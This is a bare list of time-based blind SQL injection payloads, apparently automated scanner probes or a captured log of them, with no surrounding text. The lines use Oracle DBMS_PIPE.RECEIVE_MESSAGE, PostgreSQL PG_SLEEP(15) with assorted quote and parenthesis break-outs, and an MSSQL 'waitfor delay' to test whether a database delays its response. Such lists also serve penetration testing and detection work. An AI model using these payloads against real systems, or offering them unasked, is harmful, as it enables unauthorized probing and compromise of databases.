555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555vzajmaEy’) OR 897=(SELECT 897 FROM PG_SLEEP(15))–

5552XfYcnx5′ OR 472=(SELECT 472 FROM PG_SLEEP(15))–

555-1)) OR 69=(SELECT 69 FROM PG_SLEEP(15))–

555-1) OR 689=(SELECT 689 FROM PG_SLEEP(15))–

555-1 OR 776=(SELECT 776 FROM PG_SLEEP(15))–

5552z8uS9Ip’; waitfor delay ‘0:0:15’ —